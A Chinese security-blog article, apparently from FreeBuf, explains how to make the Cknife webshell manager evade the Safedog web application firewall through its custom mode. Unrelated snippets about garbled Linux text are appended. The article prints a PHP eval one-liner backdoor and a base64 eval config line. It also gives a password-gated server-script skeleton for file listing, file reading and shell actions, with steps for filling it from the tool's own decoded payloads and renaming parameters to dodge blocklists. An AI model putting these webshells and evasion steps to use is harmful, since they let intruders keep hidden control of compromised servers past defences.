linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
相关阅读:
0x00 前言
很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版,仅仅多了跨平台的功能,其实小伙伴们还没有用到精髓之处,她其实也是一款过WAF的利器。没有给大家讲解如何去使用它这是我的责任,我是一个有责任心的基佬,我会对大家负责的,于是有了下面的文章:
0x01 两种方法
Cknife有两种过WAF模式,一种为修改配置文件(Config.ini)过WAF,另外一种为Customize(自定义)模式过WAF。今天以自定义模式为例实例讲解秒过安全狗,当然文章发布过后各大WAF厂商肯定会将某些特征列入黑名单,这里只是抛砖引玉提供思路。
0x02 ReadMe.txt
很多朋友在使用软件的时候都很少会关注她,这里我附上它的有关于过WAF方面的一些内容,请大家仔细阅读红色部分。
[此处省略1W字]
使用说明:
服务端脚本支持ASP、ASPX、PHP、JSP、Customize(自定义)。
代码包含且不限于如下代码(只要能构造出类似eval的函数就行,比如PHP的create_function、assert等)
ASP:
ASP.NET:
PHP:<?php @eval($_POST['Cknife']);?>
JSP:
[代码详见1.jsp]
Customize:
自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。
过WAF:
这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。
我分开了每一个步骤写入到配置文件里面,用户可以自定义任何代码,包括更改参数名称,参数内容。
比如:SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbus
SPL=->| 表示截取数据的开始符号
SPR=|
CODE=code 编码参数
ACTION=action 动作参数
PARAM1=z1 参数1
PARAM2=z2 参数2
PHP_BASE64=1 当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0
PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式
PHP_INDEX=... 显示主页功能的代码放这儿
PHP_READDICT=... 读取主页功能的代码放这儿
PHP_READFILE=... 读取文件功能的代码放这儿
PHP_DELETE=... 删除文件夹以及文件功能的代码放这儿
PHP_RENAME=... 重命名文件夹以及文件功能的代码放这儿
PHP_NEWDICT=... 新建目录功能的代码放这儿
PHP_UPLOAD=... 上传文件功能的代码放这儿
PHP_DOWNLOAD=... 下载文件功能的代码放这儿
PHP_SHELL=... 虚拟终端功能的代码放这儿
PHP_DB_MYSQL=... 管理MYSQL数据库功能的代码放这儿
ASP_...=...
ASPX_...=...
JSP_...=...
除了修改以上参数过WAF外,程序还额外提供了一种Customize过WAF的模式。
Customize模式原本是用于支持一些程序默认不支持的脚本,比如CFM、ASMX、ASHX、PY等等,只要用户自写的脚本能正确与菜刀进行交互即可。
换一个思考方式,如果我们自写一个PHP脚本实现了列文件以及目录的功能,它能够正确的与C刀进行交互,这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。
应该选择Customize模式进行连接。有人说为什么一句话就可以连接,你偏偏还要写这么多代码用Customize模式连接?如果一个很厉害的WAF检测eval,assert等关键词
,你的一句话实在是饶不过,这个时候你可以不用一句话,就在PHP脚本里用正常代码实现列文件以及目录,然后用Customize模式连接就达到了过WAF的目的。
Customize(自定义)模式跟其他模式一样,每一个步骤也都写入到配置文件里面,用户同样可以参数名称以及参数内容。
比如你自写了用Customize模式连接的Customize.php服务端。
显示主页功能提交的参数应该是:密码=1&action=index以及密码=1&action=readdict。
如果C刀普及以后WAF厂商肯定会把readdict列入黑名单,这个时候你就可以修改readdict的名称为其他名称,同样可以修改action的名称,也可以修改1为其他字符CUS_MAKE=1
CUS_INDEX=index
CUS_READDICT=readdict
CUS_READFILE=readfile
CUS_SAVEFILE=savefile
CUS_DELETE=delete
CUS_RENAME=rename
CUS_NEWDICT=newdict
CUS_UPLOAD=upload
CUS_DOWNLOAD=download
CUS_SHELL=shell
[此处省略1W字]
0×03 自定义模式过WAF原理
如果只是使用一句话,很多厂商都查杀了eval等敏感关键词,也查杀了传递过程中数据包中的敏感关键词。我们只需要正常的实现列目录、读文件等功能并且没有包含eval等敏感关键词就可以绕过WAF,即服务端不使用一句话,而是把功能代码都放在服务端来执行,客户端提交正常的数据包。
0x04 过狗准备
有的朋友说还要自己写列目录、读文件等等这些功能啊,那肯定没戏了。其实不需要自己写,只需要复制粘贴修改即可。
你要有点编程基础(不用担心只要会if语句就行),然后按照我给的框架添加就行。以PHP为例:
框架如下:
$pwd= 'Cknife'; //密码
if($_POST [$pwd] == 1) {
$act = $_POST ['action']; // action名称
echo ("->|"); //前分隔符
if ($act == 'index') { //显示主页功能
} else if ($act == 'readdict') { //读取目录功能
} else if ($act == …) //你想要实现的功能,可以从Config.ini里面解密出来使用
{
}
echo ("|
}
?>
首先打开咋们可爱的Config.ini文件,找到PHP_INDEX
它是C刀文件管理显示主页的功能,我们先把它解密,先url解密再base64解密
把解密结果放到eclipse里面,自动整理下(右键Source->Format)
去掉echo ("->|")前面的所有代码,去掉echo ("|
然后就是找到PHP_READDICT解密,这里要注意解密出来z1参数前面有base64_decode函数,我们的自定义模式下传递方式是原文传递,不会自动base64加密,所以要去掉base64_decode函数
还是老规矩,去掉echo ("->|")前面的所有代码,去掉echo ("|
最后按照前面的方式再加入读取文件的功能,即PHP_READFILE
把代码保存为test.php,然后选用自定义模式连接
测试发现并没有拦截
我们尝试下一句话连接,发现会被拦截
0x05 Chora小伙伴的PHP自定义模式过狗代码
见下载地址 密码:f65g cus.php
0x05 MelodyZX小伙伴的ASP自定义模式过狗代码
见下载地址 密码:f65g cus.asp
0x06 总结
参数名称,参数内容都可以修改,哪怕是厂商把readdict列入黑名单,你同样可以在Config.ini里面修改成其他的名称。让我想起了周星驰破坏之王里的一句话:“我不是针对谁,我是说在座的各位都是垃圾”。无敌是多么的寂寞。
*本文由Chora撰写并投稿,本文属FreeBuf原创奖励计划文章,未经许可禁止转载
linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗相关推荐
- Kali Linux 2020.1乱码问题
Kali Linux 2020.1乱码问题 Kali Linux 2020.1安装后,默认XFCE桌面字体显示为乱码.由于缺少中文字体包,所以需要安装中文字体.在终端执行如下命令: apt-get i ...
- 解决Kali Linux 2020.1乱码问题
解决Kali Linux 2020.1乱码问题 Kali Linux 2020.1安装后,默认XFCE桌面字体显示为乱码.这是由于缺少中文字体包,所以需要安装中文字体.在终端执行如下命令: apt-g ...
- linux某些汉字乱码,Linux汉字乱码解决办法
以下以fopen.fread和printf为参考,文件中包含汉字和字母(注意) 汉字 | Windows | Linux ----------------------- 1)ANSI | 正 ...
- telnet工具_Telnet进入Linux时出现乱码
Linux操作系统的性能发辉得比较好的,但是当Telnet进入Linux时出现乱码,这是什么一回事呢? 那么我们现在就带着这个问题一起去看看Telnet进入Linux时出现乱码的解决方法吧. 时而需要 ...
- 教你解决ChartDirector Linux下中文乱码
用ChartDirector这个c++库画图的时候会遇到乱码的问题. 在同事的指导下,将所有的中文先转换成utf8编码. 然后用simsun.ttc这个字体显示. 就ok了. 今天又遇到了这个问题,还 ...
- Ubuntu Linux 下文件名乱码(无效的编码)的快速解决办法
Ubuntu Linux 下文件名乱码(无效的编码)的快速解决办法 文件是在WIndows 下创建的,Windows 的文件名中文编码默认为GBK,而Linux中默认文件名编码为UTF8,由于编码 不 ...
- 01_Linux系统系统语言查询,设置Xshell工具,中文显示,测试Xshell中文字符显示,Linux中文显示乱码设置
Xshell是一个强大的安全终端模拟软件,它支持SSH1,SSH2,以及Microsoft Windows平台的TELNETNetSarang Xshell 4 Build 0 ...
- 修改Linux字体出现乱码
一:修改Linux出现字体乱码 (1)vimrc文件 vim /etc/vimrc set shiftwidth=4 set sts=4 set tabstop=4 set shiftround se ...
- linux下删除乱码文件名的方法
from: http://www.jb51.net/LINUXjishu/32910.html linux下删除乱码文件名, 不废话: 1. ls -i 列出文件的节点ID, 如: 123456789 ...
- Graphicsmagick linux 中文水印乱码-new
文章目录 Graphicsmagick linux 中文水印l乱码(中文显示成正方形) 本人在Windows上安装Graphicsmagick 并使用Graphicsmagick 添加中文水印成功,但 ...
最新文章
- SQL Server 查看对象的权限
- 机器学习误差分析(Error Analysis)实战
- 每天一个linux命令(48):watch命令
- 动易SiteFactory CMS自动采集器 V2.0
- python搜题软件-智慧职教mooc的APPPython程序设计基础章节测验答案
- stm32中使用#pragma pack(非常有用的字节对齐用法说明)
- aspnet网站开发实例_新手用户如何根据网站类型或应用场景选择云服务器?
- python pandas csv读取_如何用 pandas 读取 csv 和 Excel 数据
- 关于vue打包的问题
- 1_RabbitMQ初入门入门Hello消费者+生产者
- 请检查virtualboxapi是否正确安装_MBR膜组件安装施工方案指南
- ASP.NET之MVC 微信公众号授权给第三方平台的技术实现流程一(获取第三方平台access_token)...
- ubuntu 查找opencv安装路径_ubuntu 查找opencv安装路径_Ubuntu安装opencv详细步骤
- 1.(4)数据结构之链表的操作,判空,求长度,排序
- 为什么说“人生苦短,我用Python”?
- 服务器加油站能微信,加油可以微信吗?可以~支付宝呢?可以~
- ffmpeg生成裸眼3D、伪3D视频
- 5G 产业链重要细分投资领域
- 解决VirtualBox安装Ubuntu时界面显示不全问题
- 笔记本键盘没有坏,但是按键出现异常
热门文章
- 微信开通检测软件使用心得与技巧
- HTML5视频放完自动跳转,炫酷html5 网站视频自动跳转代码,零基础秒学
- 【C语言】之实现俄罗斯方块游戏
- Android 应用上线安卓市场
- 信息系统分析与设计杨选辉_信息系统分析与设计课后题答案(杨选辉)
- Could not load NIB in bundle: 'NSBundle /Users/wyd/Library/Application Support/iPhone Simulator/5.0
- 归并排序算法图解分析
- php递归算法的简单示例,php递归函数 php递归算法经典实例大全 | 帮助信息-动天数据...
- HTML网页设计CSS样式代码大全
- AutoLayout源码解析(1)